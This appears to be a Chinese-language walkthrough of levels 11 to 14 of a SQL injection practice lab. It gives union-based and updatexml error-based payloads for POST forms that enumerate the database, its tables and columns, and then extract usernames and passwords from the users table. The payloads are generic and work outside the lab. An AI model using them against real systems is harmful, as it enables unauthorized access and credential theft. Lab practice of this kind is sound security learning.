第十一关(post)
进入网页在输入框输入 1' 发现会有报错
因为这里是POST方式提交的,不能直接修改,这里有三种选择
1、使用可以POST提交的插件,例如Firefox中的HackBar
2、使用Burpsuite抓包后,然后修改
3、直接在输入框中注入
咱们使用手工输入,会发现username和password会回显1,2
1' union select 1,2#
那么我们就可以通过这里来查询他的数据库了
输入下面这条语句查询出数据库名security
1' union select database(),2#
查询表名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#
查询user里所有的列
1' union select group_concat(column_name),2 from information_schema.columns where table_schema='security'and table_name='users'#
最后查询表格的所有数据
1' union select group_concat(id,username,password),2 from users #
第十二关( ") 闭合,post)
这一关同样是post传参只不过闭合方式换了,如下图
' 的那个位置换成了 ") 其他语句都一样,这里我们就不过多介绍了,详细的可以参考第十一关
第十三关 ( ') 闭合 ,报错注入)
进入后我们先尝试用 ') 闭合一下,发现会报错 ,那么也就说明存在注入点
但是发现用上一关的注入方式无法回显结果
那么这里应该使用的是报错注入
1') and updatexml(1,concat(1,(select database())),1) #
通过这样的雨具查到数据库名
接下来查表名
1') and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) #
但是显示返回结果超过一行,所以这里我们给table_name 加上group_concat成一个集合
1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #
error:后面就是我们的表名了
接下来查列名
1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#
查具体的username和password
1') and updatexml(1,concat(1,(select group_concat(username,password)from users)),1)#
但是这里只显示了部分结果,所以我们只能通过limit语句逐条查询
第一条username
1') and updatexml(1,concat(1,(select username from users limit 0,1)),1)#
第二条username
1') and updatexml(1,concat(1,(select username from users limit 1,1)),1)#
如此往下查完所以username
查password也是同理
第一条password
1') and updatexml(1,concat(1,(select password from users limit 0,1)),1)#
这两个语句都是一样的,只是把username 换成password的了
第十四关( " 闭合 ,报错注入 )
这一关和上一关是一样的注入方法,同样是闭合方式变了,这里也就不给大家做的那么详细了,可以参考上一关第十三关的注入方法和语句
首先查库名
1" and updatexml(1,concat(1,(select database())),1) #
接下来查表名
1" and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1) #
超过一行,用组查
1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #
接下来查列名
1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#
然后查具体的username 和 password
1" and updatexml(1,concat(1,(select group_concat(username,password)from users)),1)#
同样结果显示不全,下面可以用 limit 语句逐条进行查询(这里我只给大家演示第一条的方法,详细可以参考上一关,第十三关的 limit 查询语句)
第一条username:
1" and updatexml(1,concat(1,(select username from users limit 0,1)),1)#
第一条password:
1" and updatexml(1,concat(1,(select password from users limit 0,1)),1)#